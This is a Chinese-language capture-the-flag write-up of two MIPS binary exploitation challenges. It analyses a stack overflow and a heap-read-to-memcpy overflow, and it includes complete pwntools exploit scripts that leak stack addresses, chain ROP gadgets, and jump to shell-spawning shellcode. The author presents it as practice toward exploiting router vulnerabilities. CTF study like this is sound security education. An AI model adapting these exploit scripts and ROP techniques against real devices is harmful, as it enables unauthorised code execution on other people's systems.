MIPS Pwn writeup

静态分析

　　　  mips pwn入门题。

　　　 mips pwn查找gadget使用IDA mipsrop这个插件，兼容IDA 6.x和IDA 7.x，在IDA 7.5中解决方案可以参考这个链接：https://bbs.pediy.com/thread-266102.htm

　　　程序流程比较简单，输入用户名和密码进行登录操作。

　　 漏洞存在在vuln函数中，buf只有20字节的空间，但是read函数填充了36字节的数据，覆盖了栈内变量length，将length修改为一个很大的值，在第二次read的时候，就可以溢出修改$ra寄存器保存的地址，劫持数据流。

动态调试

　　   运行和调试环境：qemu-mipsel-static + chroot +IDA远程调试。

　　 漏洞点比较明确，保护机制也不多，MIPS不支持NX就给了我们向栈区写入shellcode的权利，溢出控制$ra寄存器直接跳转到shellcode处就可以了。

　　由于栈区地址是未知的，在没有开启aslr的情况下，可以直接确定shellcode的地址，开启aslr保护之后，首先要泄露一个栈地址。可能存在地址泄露的点，在sub_400480函数中，跟进这个函数，看一下栈的布局。

　　$sp寄存器的值是0x7ffff688，buf的地址在$sp指向的栈顶加18字节处，也就是0x7ffff800是buf起始地址。

　　栈中的布局如上图所示，memset初始化了缓冲区，但是如果填充了24个可见字符的话，就会泄露出0x7ffff6a0，0x7ffff6a0是main函数栈顶地址。

　　泄露出一个栈地址，可以帮助我们绕过aslr的保护，让我们可以把shellcode布置在栈上，然后控制$ra寄存器精准跳转到栈上来执行shellcode。

　　要执行mips的shellcode，需要mips和mipsel的链接器，所以需要安装binutils-mips-linux-gnu和binutils-mipsel-linux-gnu。

apt-get install binutils-mips-linux-gnu
apt-get install binutils-mipsel-linux-gnu

漏洞利用

from pwn import *
context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'

p = process(["qemu-mipsel","-L","./","./Mplogin"])
elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')

p.recv()
payload = 'admin'+'a'*18
p.sendline(payload)
p.recvuntil('a'*18+'\n')
main_sp = u32(p.recvn(4))
vuln_sp = main_sp - 0x68
log.success("main $sp : %s"%main_sp)
log.success("vuln $sp : %s"%vuln_sp)

p.recvuntil('Pre_Password : ')
payload = 'access'
payload = payload.ljust(0x14,'a')
payload += p32(0x200)
payload = payload.ljust(35,'b')
p.sendline(payload)

shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)

p.recvuntil('Password : ')
payload = '0123456789'
payload = payload.ljust(0x28,'a')
payload += p32(vuln_sp + 0x68)
payload += shellcode
p.send(payload)

p.interactive()

　　对于mips架构，我们依然可以通过pwntools来进行动态调试。

　　首先填充字符串，泄露地址信息。

　　然后改写length的值为0x200。

　　在第二次调用read的时候，可以看到$a2寄存器被修改为了0x200。

　　

　　输入点距离保存$ra寄存器地址的偏移是0x28字节，在保存$ra寄存器的地址后面布置好shellcode就可以愉快getshell了。

Analysis

　　题目的关键代码都在pwn这个函数中。

bool pwn()
{
  int v0; // $v0
  _BOOL4 result; // $v0
  int v3; // [sp+0h] [+0h] BYREF
  int v4[2]; // [sp+10h] [+10h] BYREF
  _BYTE *v5; // [sp+18h] [+18h]
  _BYTE *heap_ptr; // [sp+1Ch] [+1Ch]
  unsigned int i; // [sp+20h] [+20h]
  int j; // [sp+24h] [+24h]
  int v9; // [sp+28h] [+28h]
  int v10; // [sp+2Ch] [+2Ch]
  int v11; // [sp+30h] [+30h]
  int *v12; // [sp+34h] [+34h]
  int *v13; // [sp+38h] [+38h]
  int *v14; // [sp+3Ch] [+3Ch]
  int read_count; // [sp+40h] [+40h]
  int separated_idx; // [sp+44h] [+44h]
  _BYTE *size; // [sp+48h] [+48h]
  int group_num[3]; // [sp+4Ch] [+4Ch] BYREF

  heap_ptr = (_BYTE *)malloc(512);
  puts("Enter the group number: ");
  if ( !_isoc99_scanf("%d", group_num) )
  {
    printf("Input error!");
    exit(-1);
  }
  if ( !group_num[0] || group_num[0] >= 0xAu )
  {
    fwrite("The numbers is illegal! Exit…\n", 1, 32, stderr);
    exit(-1);
  }
  group_num[1] = (int)&v3;
  v9 = 36;
  v10 = 36 * group_num[0];
  v11 = 36 * group_num[0] - 1;
  v12 = v4;
  memset(v4, 0, 36 * group_num[0]);
  for ( i = 0; ; ++i )
  {
    result = i < group_num[0];     if ( i >= group_num[0] )
      break;
    v13 = (int *)((char *)v12 + i * v9);
    v14 = v13;
    memset(heap_ptr, 0, 4);
    puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
    read_count = read(0, heap_ptr, 768);        // heap overflow
    if ( v13 )
    {
      v0 = atoi(heap_ptr);
      *v14 = v0;
      separated_idx = strchr(heap_ptr, ':');
      for ( j = 0; heap_ptr++; ++j )
      {
        if ( *heap_ptr == '\n' )
        {
          v5 = heap_ptr;
          break;
        }
      }
      size = &v5[-separated_idx];
      if ( !separated_idx )
      {
        puts("format error!");
        exit(-1);
      }
      memcpy(v14 + 1, separated_idx + 1, size); // stack overflow
    }
    else
    {
      printf("Error!");
      v14[1] = 'aaa\0';
    }
  }
  return result;
}

　　题目中，首先申请了一个chunk，chunk的大小是512字节，这个chunk在后面的输入中会被溢出。

　

　　申请出chunk之后，会要求我们输入group number，输入的group number会进行检查，首先要求输入的必须是数字，同时输入的第一个字节要么是空格，要么是'\n'，否则就会exit(-1)退出执行流程。

read\_count = read(0, heap\_ptr, 768);        // heap overflow  
if ( v13 )  
{  
  v0 = atoi(heap\_ptr);  
  \*v14 = v0;  
  separated\_idx = strchr(heap\_ptr, ':');  
  for ( j = 0; heap\_ptr++; ++j )  
  {  
    if ( \*heap\_ptr == '\\n' )  
    {  
      v5 = heap\_ptr;  
      break;  
    }  
  }  
  size = &v5\[-separated\_idx\];  
  if ( !separated\_idx )  
  {  
    puts("format error!");  
    exit(-1);  
  }  
  memcpy(v14 + 1, separated\_idx + 1, size); // stack overflow  
}

　　存在堆溢出的同时，在后面还有对memcpy这个危险函数的调用，memcpy的源地址和目的地址都是栈中保存的地址，size是用户可控的，我们需要通过调试，来进一步了解栈布局，看看这里有没有发生溢出的可能。

debug

　　在调用memcpy函数之前，看一下$a0，$a1，$a2三个寄存器的值。

　　$a0保存的是一个栈区地址，而memcpy的第三个参数是可控的，这样一来，确实有造成栈溢出的危险。

　　回溯一下memcpy第三个参数size。

　　如图所示的代码就是size被赋值的操作，可以看到，size的值是heap_ptr-separated_idx的值，就是说我们":"后面输入的长度决定了size的大小，如果":"后面输入的数据特别长的话，自然就发生溢出了。memcpy拷贝的数据也就是堆里的数据，所以我们控制好冒号后面的数据，就可以覆盖保存$ra寄存器的地址，继而劫持执行流程。

　　如图所示，返回地址距离栈顶的偏移是0xA4字节，所以首先填充0xA4字节的padding，然后再覆盖返回地址控制$ra寄存器。

　　这道题目，基本也是没有开保护机制，虽然checksec显示有canary保护，但是在pwn函数中没有canary。主要要考虑的还是如何绕过aslr的保护。这道题中没有泄露信息的地方，所以只能考虑构造rop chain去绕过aslr。由于程序是静态链接，所以不能ret2libc去找system函数。那么如果可以泄露出一个栈地址的话，继续ret2shellcode也是可以的。

　　IDA中有一个寻找gadget的好工具mipsrop，在github中可以找到：https://github.com/tacnetsol/ida

　　关于mipsrop，这个帖子里有一些很好用的技巧：https://www.cnblogs.com/hac425/p/9416864.html

　　在离开pwn函数的时候，可以通过布置栈数据，继而控制一些寄存器的值：

　　泄露栈地址的话，需要借助到一些输出函数，常见的输出函数puts，write，printf等等在这个静态链接的程序中都可以找到。不同的函数需要的寄存器不同，需要注意的条件也不同，puts函数最大的限制是不能输出'\x00'截断符，但是需要的参数少。write函数对应的限制就是有三个参数，需要精心构造。

　　将栈地址填充到寄存器的gadget有下面这些：

　　方便函数调用的gadget可以用mipsrop.tail()或者mipsrop.doubles()来查找。

　　mipsrop.stackfinders()里面有将栈地址填充到$v0的gadget，而mipsrop.tail()中有跳转到$v0的操作，这样看来，如果控制好shellcode在栈中的布局，直接填充到$v0中，再跳转到$v0寄存器指向的地址就直接可以执行了。

from pwn import *
context.log_level = "debug"
context.arch = "mips"
context.endian = "big"
context.os = "linux"

p = process(['qemu-mips','./h4pwn'])
stack_a1 = 0x44AEFC

0x0044AEFC | addiu $a1,$sp,0x64+var_28 | jalr $s5

li_a1_1 = 0x41F4E8

0x0041F4E8 | li $a1,1 | jalr $s1

move_a0_a1 = 0x4384c0

0x004384C0 | move $a0,$a1 | jalr $s2

move_a2_s7 = 0x44B534

0x0044B534 | move $a2,$s7 | jalr $s0

move_t9_s4 = 0x41F9B4

0x0041F9B4 | move $t9,$s4 | jalr $s4

jr_v0 = [0x45882C,0x458884]

0x0045882C | move $t9,$v0 | jr $v0

0x00458884 | move $t9,$v0 | jr $v0

stack_v0 = 0x44B1EC

0x0044B1EC | addiu $v0,$sp,0x6C+var_40 | jalr $s2

write_addr = 0x41E290
pwn_addr = 0x400634
start_addr = 0x400360
main_addr = 0x400AB8
elf = ELF('./h4pwn')

shellcode = pwnlib.shellcraft.mips.sh()
shellcode = pwnlib.asm.asm(shellcode)

p.recvuntil("number: \n")
p.sendline(' 1')
p.recvuntil("eg => '1:Job.' \n")
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(move_t9_s4) # $s0
payload += p32(move_a0_a1) # $s1
payload += p32(stack_a1) # $s2
payload += p32(stack_a1) # $s3
payload += p32(write_addr) # $s4
payload += p32(move_a2_s7) # $s5
payload += p32(move_a2_s7) # $s6
payload += p32(4) # $s7
payload += p32(0xdeadbeef) # $fp
payload += p32(li_a1_1) # $ra
payload += 'a'*0x28
payload += p32(pwn_addr)
p.sendline(payload)

main_sp = u32(p.recvn(4)) - 0x2c
log.success("main_sp address: %s"%hex(main_sp))
'''
payload = '1:'
payload += 'a'*20
payload += 'a'*0x58
payload += p32(jr_v0[1])*8 # $s0 - $s7
payload += 'aaaa' # $fp
payload += p32(stack_v0) # $ra
payload += 'a'*0x2c
payload += shellcode
payload += '.'

p.sendline(payload)
#p.recv()
p.interactive()

　　 mips pwn的rop chain相对于x86架构来说，稍微复杂一些，主要是控制的寄存器不同，栈桢结构有所不同，构造方式更加多样化，所以在选择构造rop的时候，合理借助mipsrop这种工具，注意复杂函数返回时恢复寄存器现场的情况，提前布置好参数。但是利用方式也相对更粗暴一些，主要是由于mips架构硬件的原因，不能支持NX，所以很多时候关键在于合理布置shellcode，避免坏字符等等问题。路由器目前主流的漏洞利用方式还是rop，公开的堆漏洞并不多，所以熟练掌握mips架构下rop技术是学习路由器漏洞利用的必经之路。

　　千变万化，rop这种技术基本的框架还是没有变，核心思想还是控制返回地址，控制指令寄存器，劫持程序的执行流程，做完这两题，对于mips rop更加熟悉一些，方便后面进行一些路由器漏洞的复现。